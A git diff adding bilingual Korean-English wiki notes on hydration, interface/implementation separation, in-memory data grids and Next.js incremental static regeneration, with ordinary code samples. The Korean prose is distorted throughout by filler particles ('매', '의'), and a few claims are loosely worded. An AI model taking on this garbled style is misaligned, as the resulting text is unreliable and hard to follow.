events.emit('OrderPlaced', { orderId, customerId, total });
|
||||
|
||||
// subscribers (independent modules)
|
||||
events.on('OrderPlaced', sendConfirmationEmail);
|
||||
events.on('OrderPlaced', updateAnalytics);
|
||||
events.on('OrderPlaced', allocateInventory);
|
||||
```
|
||||
|
||||
### Coupling Metric — Fan-in / Fan-out
|
||||
```bash
|
||||
# madge 의 dep graph
|
||||
npx madge --circular --extensions ts src/
|
||||
npx madge --summary --extensions ts src/ # fan-in/fan-out per module
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Module > 500 LOC, scattered concerns | Split by responsibility (cohesion↑) |
|
||||
| Module imports 20+ siblings | Introduce interface / facade |
|
||||
| Cross-module mutation | Event / message passing |
|
||||
| Shared mutable global | Replace with pure function or DI |
|
||||
| Microservice split | DDD bounded context boundary |
|
||||
|
||||
**기본값**: 매 functional cohesion + data coupling 의 target — 매 interface 의 통한 dependency 의 invert.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software-Architecture]] · [[Modularity]]
|
||||
- 변형: [[Single Responsibility Principle (SRP)|Single-Responsibility-Principle]] · [[Bounded-Context]] · [[Hexagonal-Architecture]]
|
||||
- 응용: [[SOLID]] · [[Microservices]] · [[Clean-Architecture]]
|
||||
- Adjacent: [[God-Object-Antipattern]] · [[Dependency-Inversion]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: module 의 cohesion/coupling 의 review, refactor 의 direction 의 suggest, dep graph 의 hot-spot 의 highlight.
|
||||
**언제 X**: 매 architectural boundary 의 final decision (domain expert + business context 필요).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **God Module**: low cohesion + high fan-in (모두 의 import).
|
||||
- **Anemic Module**: data 만, behavior 의 다른 module 의 own → procedural disguised as OOP.
|
||||
- **Tight ORM coupling**: domain entity 의 ORM annotation 의 saturation → infra 의 leak.
|
||||
- **Premature abstraction**: 매 single use-case 의 interface 의 introduce → 매 indirection 의 cost.
|
||||
- **Shared library 의 god lib**: 매 service 의 shared "common" 의 god — 매 deploy lockstep.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Constantine "Structured Design" 1979, Martin "Clean Architecture", Evans "DDD").
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — cohesion/coupling principles 의 full content |
|
||||
@@ -0,0 +1,158 @@
|
||||
---
|
||||
id: wiki-2026-0508-hydration
|
||||
title: Hydration
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Client Hydration, SSR Hydration]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [web, ssr, react, frontend]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react
|
||||
---
|
||||
|
||||
# Hydration
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 server 가 render 한 static HTML 에 client JS 가 event handler / state 를 부여하는 과정"**. 매 SSR 의 SEO + first paint 이점 + SPA 의 interactivity 의 결합. 2026 시점 매 trend 는 매 less hydration — Astro Islands, React Server Components, Qwik resumability 가 매 full-page hydration 을 대체.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 단계
|
||||
1. **Server**: render to HTML string (`renderToString` / `renderToPipeableStream`).
|
||||
2. **Client**: HTML parsing → first paint (TTFB / FCP).
|
||||
3. **Hydration**: JS download → React/framework 가 component tree 의 event listener attach + state restore.
|
||||
4. **Interactive**: TTI 도달.
|
||||
|
||||
### 매 cost
|
||||
- 매 download + parse + execute JS — 매 모바일 mid-tier 에서 무거움.
|
||||
- Hydration mismatch — 매 server vs client output 차이 시 warning + re-render.
|
||||
- 매 unused interactivity 도 매 hydrate (Wasted hydration).
|
||||
|
||||
### 매 modern alternatives
|
||||
- **Selective / progressive hydration** (React 18+): Suspense 단위로 lazy hydrate.
|
||||
- **Islands architecture** (Astro, Fresh): 매 interactive island 만 ship + hydrate.
|
||||
- **Resumability** (Qwik): hydration 자체 제거 — 매 server 에서 serialize 한 closure 를 매 event 시점에 lazy resume.
|
||||
- **React Server Components**: 매 server-only component 는 ship X — 매 client component 만 hydrate.
|
||||
|
||||
### 매 응용
|
||||
1. Next.js / Remix App Router (RSC + selective hydration).
|
||||
2. Astro (islands).
|
||||
3. Qwik / QwikCity (resumability).
|
||||
4. SvelteKit, SolidStart (fine-grained reactivity, hydration cheaper).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### React 19 SSR + hydrateRoot
|
||||
```ts
|
||||
// server.ts
|
||||
import { renderToPipeableStream } from "react-dom/server";
|
||||
import App from "./App";
|
||||
const stream = renderToPipeableStream(<App/>, {
|
||||
bootstrapScripts: ["/client.js"],
|
||||
onShellReady() { stream.pipe(res); },
|
||||
});
|
||||
|
||||
// client.ts
|
||||
import { hydrateRoot } from "react-dom/client";
|
||||
import App from "./App";
|
||||
hydrateRoot(document, <App/>);
|
||||
```
|
||||
|
||||
### Suspense for selective hydration
|
||||
```tsx
|
||||
<Suspense fallback={<Skeleton/>}>
|
||||
<HeavyChart/>{/* 매 이 boundary 만 lazy hydrate */}
|
||||
</Suspense>
|
||||
```
|
||||
|
||||
### Astro Islands
|
||||
```astro
|
||||
---
|
||||
import Counter from "../components/Counter.svelte";
|
||||
---
|
||||
<h1>Static</h1>
|
||||
<Counter client:visible /> {/* 매 viewport 진입 시 hydrate */}
|
||||
```
|
||||
|
||||
### Qwik resumability
|
||||
```tsx
|
||||
import { component$, useSignal } from "@builder.io/qwik";
|
||||
export default component$(() => {
|
||||
const c = useSignal(0);
|
||||
// 매 click 전에는 JS 미실행 — 매 lazy resume
|
||||
return <button onClick$={() => c.value++}>{c.value}</button>;
|
||||
});
|
||||
```
|
||||
|
||||
### Avoiding hydration mismatch
|
||||
```tsx
|
||||
// 매 client-only value (Date.now, window) 는 useEffect 에서
|
||||
function Now() {
|
||||
const [t, setT] = useState<string | null>(null);
|
||||
useEffect(() => setT(new Date().toISOString()), []);
|
||||
return <span>{t ?? ""}</span>; // 매 server: empty, client: 실제값
|
||||
}
|
||||
```
|
||||
|
||||
### React Server Components (Next.js)
|
||||
```tsx
|
||||
// app/page.tsx — server component, 매 hydrate X
|
||||
export default async function Page() {
|
||||
const data = await db.posts.findMany();
|
||||
return <ClientWidget data={data}/>; // 매 ClientWidget 만 hydrate
|
||||
}
|
||||
```
|
||||
|
||||
### Streaming SSR (Node)
|
||||
```ts
|
||||
const stream = renderToPipeableStream(<App/>, {
|
||||
onShellReady() { res.setHeader("content-type", "text/html"); stream.pipe(res); },
|
||||
onError(err) { console.error(err); },
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Mostly static + 적은 island | Astro / 11ty + islands |
|
||||
| Full app, dynamic data | Next.js App Router (RSC) |
|
||||
| Extreme TTI 우선 | Qwik (resumability) |
|
||||
| Fine-grained reactivity | Svelte / Solid |
|
||||
| 매 SEO 불필요 SPA | CSR (no hydration) |
|
||||
|
||||
**기본값**: Next.js 15 App Router (RSC + selective hydration). 매 mostly-static 사이트 는 Astro.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[SSR]] · [[Web Architecture]]
|
||||
- 변형: [[Selective Hydration]] · [[Islands Architecture]] · [[Resumability]]
|
||||
- 응용: [[Next.js]] · [[Astro]] · [[Qwik]] · [[Remix]]
|
||||
- Adjacent: [[Fiber_Architecture|Fiber Architecture]] · [[Streaming SSR]] · [[React Server Components]] · [[Core Web Vitals Optimization (INP, LCP 개선)|Core Web Vitals]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: TTI / LCP / INP 진단, framework 선택, hydration mismatch 디버깅.
|
||||
**언제 X**: 매 SEO + first paint 둘 다 불필요한 internal tool — 매 CSR SPA 면 충분.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Hydration mismatch (Date.now, Math.random)**: 매 server-client output 불일치 → re-render.
|
||||
- **Hydrating entire static page**: 매 island 분리 안 함 → JS 무겁게.
|
||||
- **Heavy useEffect in root**: 매 hydration 직후 main thread block.
|
||||
- **Conditional render based on `typeof window`**: 매 mismatch 의 흔한 원인.
|
||||
- **Hydrating below-the-fold immediately**: 매 selective + visibility 활용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (React 19 docs, Next.js 15 docs, Astro docs, Qwik docs, Addy Osmani *Hydration* 2024).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — hydration + islands + RSC + resumability 정리 |
|
||||
+183
@@ -0,0 +1,183 @@
|
||||
---
|
||||
id: wiki-2026-0508-implementation-separation
|
||||
title: Implementation Separation
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Implementation Separation, Interface-Implementation Split, Hexagonal Boundaries]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, interface, dependency-inversion, hexagonal, ports-adapters]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: TypeScript/Python/Go
|
||||
framework: language-agnostic
|
||||
---
|
||||
|
||||
# Implementation Separation
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 'what' 매 'how' 의 분리"**. Implementation separation 매 interface (contract) 매 implementation (mechanism) 매 명시적 분리 — 매 dependency inversion, ports-and-adapters, hexagonal architecture 의 core idea. 매 testability, swappability, evolution 매 enable.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Why separate
|
||||
- **Test**: 매 fake/mock 매 swap-in.
|
||||
- **Swap**: 매 Postgres → DynamoDB 매 caller code unchanged.
|
||||
- **Boundary**: 매 layer/module 매 명확.
|
||||
- **Parallel work**: 매 interface freeze → 매 team 매 parallel implementation.
|
||||
|
||||
### 매 Levels of separation
|
||||
1. **Interface keyword** (Java, C#, Go, TypeScript): 매 syntax 매 enforce.
|
||||
2. **Abstract base class** (Python, C++): 매 ABC, virtual.
|
||||
3. **Protocol/structural typing** (Python typing.Protocol, TypeScript): 매 duck typing 매 static check.
|
||||
4. **Trait** (Rust): 매 zero-cost.
|
||||
5. **Module boundary** (Haskell .hs-boot, OCaml .mli): 매 module-level.
|
||||
|
||||
### 매 응용
|
||||
1. **Repository pattern**: 매 `UserRepo` interface, 매 `PgUserRepo` impl.
|
||||
2. **Strategy pattern**: 매 algorithm 매 swap.
|
||||
3. **Adapter (port)**: 매 external service 매 wrap.
|
||||
4. **Test doubles**: 매 InMemory* impl.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### TypeScript — port + adapter
|
||||
```typescript
|
||||
// Port (domain owns this)
|
||||
export interface UserRepo {
|
||||
findById(id: string): Promise<User | null>;
|
||||
save(u: User): Promise<void>;
|
||||
}
|
||||
|
||||
// Adapter (infrastructure)
|
||||
export class PgUserRepo implements UserRepo {
|
||||
constructor(private db: Pool) {}
|
||||
async findById(id: string) {
|
||||
const r = await this.db.query('select * from users where id=$1', [id]);
|
||||
return r.rows[0] ? mapUser(r.rows[0]) : null;
|
||||
}
|
||||
async save(u: User) {
|
||||
await this.db.query('insert into users ...', [u.id, u.name]);
|
||||
}
|
||||
}
|
||||
|
||||
// In-memory test double
|
||||
export class InMemoryUserRepo implements UserRepo {
|
||||
private map = new Map<string, User>();
|
||||
async findById(id: string) { return this.map.get(id) ?? null; }
|
||||
async save(u: User) { this.map.set(u.id, u); }
|
||||
}
|
||||
```
|
||||
|
||||
### Python Protocol (structural)
|
||||
```python
|
||||
from typing import Protocol
|
||||
|
||||
class Notifier(Protocol):
|
||||
def send(self, to: str, msg: str) -> None: ...
|
||||
|
||||
class EmailNotifier:
|
||||
def send(self, to: str, msg: str) -> None:
|
||||
smtp.sendmail(...)
|
||||
|
||||
class SlackNotifier:
|
||||
def send(self, to: str, msg: str) -> None:
|
||||
requests.post("https://slack/api", json={"channel": to, "text": msg})
|
||||
|
||||
def notify_user(n: Notifier, user_id: str, msg: str) -> None:
|
||||
n.send(user_id, msg) # any structural match works
|
||||
```
|
||||
|
||||
### Go — implicit interface
|
||||
```go
|
||||
type Cache interface {
|
||||
Get(key string) ([]byte, bool)
|
||||
Set(key string, val []byte, ttl time.Duration)
|
||||
}
|
||||
|
||||
type RedisCache struct{ client *redis.Client }
|
||||
func (r *RedisCache) Get(k string) ([]byte, bool) { /* ... */ }
|
||||
func (r *RedisCache) Set(k string, v []byte, ttl time.Duration) { /* ... */ }
|
||||
|
||||
type MemCache struct{ m sync.Map }
|
||||
func (m *MemCache) Get(k string) ([]byte, bool) { /* ... */ }
|
||||
func (m *MemCache) Set(k string, v []byte, ttl time.Duration) { /* ... */ }
|
||||
```
|
||||
|
||||
### Rust trait
|
||||
```rust
|
||||
pub trait Storage {
|
||||
fn put(&self, key: &str, val: &[u8]) -> anyhow::Result<()>;
|
||||
fn get(&self, key: &str) -> anyhow::Result<Option<Vec<u8>>>;
|
||||
}
|
||||
|
||||
pub struct S3Storage { client: aws_sdk_s3::Client }
|
||||
impl Storage for S3Storage { /* ... */ }
|
||||
|
||||
pub struct LocalFs { root: PathBuf }
|
||||
impl Storage for LocalFs { /* ... */ }
|
||||
|
||||
pub fn save_blob<S: Storage>(s: &S, k: &str, v: &[u8]) -> anyhow::Result<()> {
|
||||
s.put(k, v)
|
||||
}
|
||||
```
|
||||
|
||||
### Hexagonal layout
|
||||
```
|
||||
src/
|
||||
domain/ # pure logic, no I/O
|
||||
user.ts
|
||||
order.ts
|
||||
ports/ # interfaces
|
||||
user_repo.ts
|
||||
payment_gateway.ts
|
||||
app/ # use-cases, depend on ports only
|
||||
place_order.ts
|
||||
adapters/ # impl of ports
|
||||
pg_user_repo.ts
|
||||
stripe_gateway.ts
|
||||
infra/ # composition root
|
||||
main.ts
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 single impl, no test isolation needed | 매 직접 class — 매 over-engineer 금지 |
|
||||
| 매 ≥2 impls or test doubles 필요 | 매 interface/protocol/trait |
|
||||
| 매 cross-team boundary | 매 interface freeze 매 contract |
|
||||
| 매 swappable infra (DB, queue, cache) | 매 port + adapter |
|
||||
| 매 perf-critical hot loop | 매 generics/static dispatch (no vtable) |
|
||||
|
||||
**기본값**: 매 ports 매 domain 옆, adapters 매 infra layer, 매 composition root 매 wire.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Hexagonal-Architecture]] · [[Dependency-Inversion-Principle]]
|
||||
- 변형: [[Ports-and-Adapters]] · [[Clean-Architecture]] · [[Onion-Architecture]]
|
||||
- 응용: [[Test-Doubles]]
|
||||
- Adjacent: [[High-Cohesion-Low-Coupling]] · [[SOLID]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 architecture refactor; 매 testability 부족; 매 multiple infra backend; 매 team boundary.
|
||||
**언제 X**: 매 single-use script; 매 prototype; 매 only one impl forever.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **IFoo + FooImpl 매 1:1 forever**: 매 interface 매 swap/test point 없으면 매 잡음.
|
||||
- **Leaky abstraction**: 매 interface method 매 SQL string 받음 — 매 impl 의 detail 노출.
|
||||
- **Anemic port**: 매 CRUD method 만 매 interface — 매 domain logic 매 caller 에 leak.
|
||||
- **Adapter 매 domain 의 의존**: 매 dep 매 wrong direction.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Cockburn 2005 "Hexagonal Architecture", Evans DDD, Martin "Clean Architecture", Vernon IDDD).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content (port/adapter, multi-language patterns) |
|
||||
+167
@@ -0,0 +1,167 @@
|
||||
---
|
||||
id: wiki-2026-0508-in-memory-data-grid
|
||||
title: In-Memory Data Grid
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [IMDG, Distributed Cache, In-Memory Computing]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, distributed-systems, cache, performance, jvm]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: java
|
||||
framework: hazelcast-ignite
|
||||
---
|
||||
|
||||
# In-Memory Data Grid
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 distributed RAM 의 partitioned + replicated 의 통한 sub-ms key-value + compute 의 horizontal scale"**. 매 Oracle Coherence (2001) 의 commercial origin, 매 Hazelcast (2008) / Apache Ignite (2014) 의 OSS 의 popularization — 매 modern 의 Redis Cluster + Apache Ignite + Hazelcast 5.x 의 dominant.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 IMDG vs Distributed Cache
|
||||
- **Cache (Redis, Memcached)**: 매 read-through, eviction-driven, simple K/V.
|
||||
- **IMDG (Hazelcast, Ignite, Coherence)**: + co-located compute, SQL, transactions, near-cache, entry processors, CP subsystem.
|
||||
|
||||
### 매 Core Capabilities
|
||||
- **Partitioning**: consistent hash, 매 271 partitions (Hazelcast default).
|
||||
- **Replication**: backup count (sync/async), 매 partition 의 N-1 backup.
|
||||
- **Near Cache**: client-side mirror, invalidation 의 push.
|
||||
- **Entry Processor**: 매 data-local computation (move code to data).
|
||||
- **Continuous Query**: predicate-based push.
|
||||
- **CP Subsystem**: Raft-based linearizable primitives (Hazelcast 4+).
|
||||
|
||||
### 매 응용
|
||||
1. Session store / shopping cart (low-latency).
|
||||
2. Real-time risk / pricing (compute grid).
|
||||
3. Hybrid OLTP+stream (Ignite + Kafka).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Hazelcast 5 — Embedded + IMap
|
||||
```java
|
||||
HazelcastInstance hz = Hazelcast.newHazelcastInstance();
|
||||
IMap<String, Order> orders = hz.getMap("orders");
|
||||
orders.put("o-123", new Order(...));
|
||||
Order o = orders.get("o-123"); // sub-ms
|
||||
|
||||
// Pessimistic lock 의 partition-local
|
||||
orders.executeOnKey("o-123", entry -> {
|
||||
Order cur = entry.getValue();
|
||||
cur.markPaid();
|
||||
entry.setValue(cur);
|
||||
return null;
|
||||
});
|
||||
```
|
||||
|
||||
### Apache Ignite — SQL over Cache
|
||||
```java
|
||||
IgniteConfiguration cfg = new IgniteConfiguration();
|
||||
Ignite ignite = Ignition.start(cfg);
|
||||
|
||||
CacheConfiguration<Long, Person> ccfg = new CacheConfiguration<>("Person");
|
||||
ccfg.setIndexedTypes(Long.class, Person.class);
|
||||
IgniteCache<Long, Person> cache = ignite.getOrCreateCache(ccfg);
|
||||
|
||||
List<List<?>> rows = cache.query(new SqlFieldsQuery(
|
||||
"SELECT name, salary FROM Person WHERE salary > ? ORDER BY salary DESC")
|
||||
.setArgs(100_000)).getAll();
|
||||
```
|
||||
|
||||
### Hazelcast Near Cache
|
||||
```yaml
|
||||
hazelcast-client:
|
||||
near-cache:
|
||||
orders:
|
||||
in-memory-format: OBJECT
|
||||
invalidate-on-change: true
|
||||
time-to-live-seconds: 60
|
||||
max-size: 10000
|
||||
eviction-policy: LRU
|
||||
```
|
||||
|
||||
### Entry Processor (move compute to data)
|
||||
```java
|
||||
public class IncrementVersion implements EntryProcessor<String, Order, Long> {
|
||||
public Long process(Map.Entry<String, Order> e) {
|
||||
Order o = e.getValue();
|
||||
o.setVersion(o.getVersion() + 1);
|
||||
e.setValue(o);
|
||||
return o.getVersion();
|
||||
}
|
||||
}
|
||||
Long v = orders.executeOnKey("o-1", new IncrementVersion());
|
||||
```
|
||||
|
||||
### Continuous Query (Hazelcast)
|
||||
```java
|
||||
IMap<String, Order> orders = hz.getMap("orders");
|
||||
orders.addEntryListener((EntryAddedListener<String, Order>) ev -> {
|
||||
if (ev.getValue().getAmount() > 10_000) alert(ev.getValue());
|
||||
}, Predicates.greaterThan("amount", 10_000), true);
|
||||
```
|
||||
|
||||
### CP Subsystem — Linearizable Counter
|
||||
```java
|
||||
CPSubsystem cp = hz.getCPSubsystem();
|
||||
IAtomicLong seq = cp.getAtomicLong("order-seq");
|
||||
long next = seq.incrementAndGet(); // Raft-backed, linearizable
|
||||
```
|
||||
|
||||
### Kubernetes Deployment (Hazelcast Operator)
|
||||
```yaml
|
||||
apiVersion: hazelcast.com/v1alpha1
|
||||
kind: Hazelcast
|
||||
metadata: { name: hz }
|
||||
spec:
|
||||
clusterSize: 5
|
||||
repository: hazelcast/hazelcast
|
||||
version: "5.5"
|
||||
persistence:
|
||||
baseDir: /data/hot-restart
|
||||
pvc: { accessModes: [ReadWriteOnce], requestStorage: 50Gi }
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Simple K/V cache | Redis / Memcached |
|
||||
| Java-heavy + SQL on cache | Apache Ignite |
|
||||
| Compute + cache + CP primitives | Hazelcast 5 |
|
||||
| Multi-language polyglot | Redis Cluster + redis-om |
|
||||
| Persistent in-memory DB | Ignite native persistence / Aerospike |
|
||||
|
||||
**기본값**: 매 Java/Kotlin stack — Hazelcast 5; 매 polyglot — Redis Cluster.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Distributed-Systems]]
|
||||
- 변형: [[Distributed-Cache]] · [[NewSQL]]
|
||||
- 응용: [[Apache-Ignite]]
|
||||
- Adjacent: [[CAP-Theorem]] · [[Consistent-Hashing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: IMDG 의 sizing 의 estimate, partition strategy 의 review, Hazelcast/Ignite config 의 generate.
|
||||
**언제 X**: 매 production 의 capacity planning 의 final sign-off (real workload benchmark 필수).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Distributed monolith state**: 매 service 의 IMDG 의 shared mutable state — 매 hidden coupling.
|
||||
- **N+1 across grid**: client-side loop 의 단일 키 fetch — 매 batch API 의 use.
|
||||
- **No backup count**: backup=0 → 매 node loss 의 data loss.
|
||||
- **Serialization neglect**: default Java serialization → 매 slow + bloated, 매 IdentifiedDataSerializable / Compact 의 use.
|
||||
- **Treating IMDG as durable DB**: 매 persistence 의 explicit config 없이 → restart 의 data loss.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Hazelcast 5.5 docs, Apache Ignite 2.16 docs, Oracle Coherence 14c docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — IMDG (Hazelcast/Ignite) 의 full content |
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
---
|
||||
id: wiki-2026-0508-incremental-static-regeneration-
|
||||
title: Incremental Static Regeneration (ISR)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [ISR, Stale-While-Revalidate Static, On-Demand Revalidation]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, nextjs, ssg, caching, web]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nextjs
|
||||
---
|
||||
|
||||
# Incremental Static Regeneration (ISR)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 static page 의 build-time 의 prerender + runtime 의 stale-while-revalidate 의 통한 fresh 의 hybrid"**. 매 Next.js 9.5 (2020) 의 introduction, 매 Vercel 의 patent (US 11,055,090), 매 modern 의 Next.js 15 App Router 의 `revalidate` + `revalidateTag` + `revalidatePath` 의 first-class.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 ISR 동작
|
||||
1. Build 시 page 의 prerender → static HTML + JSON.
|
||||
2. Request 의 cached HTML 의 즉시 serve.
|
||||
3. `revalidate: N` 초 후 첫 request 의 background regenerate trigger.
|
||||
4. 매 그 request 는 stale 의 받음, 매 다음 request 는 fresh.
|
||||
5. On-demand: webhook → `revalidateTag('post-123')` 의 cache 의 invalidate.
|
||||
|
||||
### 매 ISR vs SSR vs SSG
|
||||
- **SSG**: build-time only, content change → rebuild.
|
||||
- **SSR**: every request, fresh but slow + costly.
|
||||
- **ISR**: prerendered + revalidate window, near-CDN speed + freshness.
|
||||
- **PPR (Partial Prerendering, Next.js 15)**: static shell + dynamic holes — ISR 의 evolution.
|
||||
|
||||
### 매 응용
|
||||
1. Marketing/blog (수십만 page).
|
||||
2. E-commerce product page (price/stock 의 stale OK seconds).
|
||||
3. Docs site (authored content, low write rate).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### App Router — Time-Based Revalidate
|
||||
```typescript
|
||||
// app/blog/[slug]/page.tsx
|
||||
export const revalidate = 60; // seconds
|
||||
|
||||
export default async function Post({ params }: { params: { slug: string } }) {
|
||||
const post = await fetch(`https://cms.example.com/posts/${params.slug}`, {
|
||||
next: { revalidate: 60, tags: [`post:${params.slug}`] },
|
||||
}).then(r => r.json());
|
||||
|
||||
return <article>{post.title}</article>;
|
||||
}
|
||||
|
||||
export async function generateStaticParams() {
|
||||
const posts = await fetch('https://cms.example.com/posts').then(r => r.json());
|
||||
return posts.map((p: any) => ({ slug: p.slug }));
|
||||
}
|
||||
```
|
||||
|
||||
### On-Demand — `revalidateTag`
|
||||
```typescript
|
||||
// app/api/revalidate/route.ts
|
||||
import { revalidateTag } from 'next/cache';
|
||||
import { NextRequest } from 'next/server';
|
||||
|
||||
export async function POST(req: NextRequest) {
|
||||
const secret = req.headers.get('x-webhook-secret');
|
||||
if (secret !== process.env.WEBHOOK_SECRET) {
|
||||
return new Response('forbidden', { status: 403 });
|
||||
}
|
||||
const { slug } = await req.json();
|
||||
revalidateTag(`post:${slug}`);
|
||||
return Response.json({ revalidated: true, slug });
|
||||
}
|
||||
```
|
||||
|
||||
### `revalidatePath` (entire route)
|
||||
```typescript
|
||||
import { revalidatePath } from 'next/cache';
|
||||
|
||||
export async function publishPost(slug: string) {
|
||||
await db.posts.update({ where: { slug }, data: { published: true } });
|
||||
revalidatePath(`/blog/${slug}`);
|
||||
revalidatePath('/blog');
|
||||
}
|
||||
```
|
||||
|
||||
### Pages Router (legacy `getStaticProps`)
|
||||
```typescript
|
||||
// pages/products/[id].tsx
|
||||
export async function getStaticProps({ params }) {
|
||||
const product = await fetch(`/api/products/${params.id}`).then(r => r.json());
|
||||
return { props: { product }, revalidate: 30 };
|
||||
}
|
||||
|
||||
export async function getStaticPaths() {
|
||||
const top100 = await fetch('/api/products?top=100').then(r => r.json());
|
||||
return {
|
||||
paths: top100.map((p: any) => ({ params: { id: p.id } })),
|
||||
fallback: 'blocking', // first request 의 SSR-then-cache
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
### CMS Webhook → ISR
|
||||
```typescript
|
||||
// Sanity / Contentful / Strapi webhook
|
||||
{
|
||||
"url": "https://app.example.com/api/revalidate",
|
||||
"headers": { "x-webhook-secret": "..." },
|
||||
"events": ["entry.publish", "entry.update"]
|
||||
}
|
||||
```
|
||||
|
||||
### Partial Prerendering (Next.js 15)
|
||||
```typescript
|
||||
// next.config.ts
|
||||
export default { experimental: { ppr: 'incremental' } };
|
||||
|
||||
// app/page.tsx
|
||||
export const experimental_ppr = true;
|
||||
import { Suspense } from 'react';
|
||||
|
||||
export default function Page() {
|
||||
return (
|
||||
<>
|
||||
<StaticHero /> {/* prerendered */}
|
||||
<Suspense fallback={<Skel/>}>
|
||||
<DynamicCart /> {/* streamed at request time */}
|
||||
</Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Content-heavy, low write | ISR + on-demand revalidate |
|
||||
| Per-user dashboard | SSR / Server Components (no ISR) |
|
||||
| Pure static (마케팅 사이트) | SSG, no revalidate |
|
||||
| Real-time (stock ticker) | Streaming / WebSocket |
|
||||
| Mixed page (static + dynamic) | PPR (Next.js 15+) |
|
||||
|
||||
**기본값**: 매 content site — App Router + tag-based on-demand revalidation, 매 fallback 의 time-based 60s.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Web-Rendering-Strategies]]
|
||||
- 변형: [[Stale-While-Revalidate]] · [[Edge-SSR]]
|
||||
- 응용: [[Next.js]]
|
||||
- Adjacent: [[CDN]] · [[React-Server-Components]] · [[Island Architecture]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: revalidate strategy 의 design, webhook handler 의 generate, cache tag 의 schema 의 propose.
|
||||
**언제 X**: 매 personalized content 의 cache key 의 design (PII leak risk — human review 필수).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Per-user ISR**: cookie/auth-dependent page 의 ISR → cross-user data leak.
|
||||
- **Tag explosion**: 매 query 의 unique tag → 매 cache 의 fragmentation.
|
||||
- **No fallback**: `fallback: false` + dynamic params → 404 의 surprise.
|
||||
- **Webhook 의 unsecured**: secret 의 X → revalidate 의 abuse 의 origin DoS.
|
||||
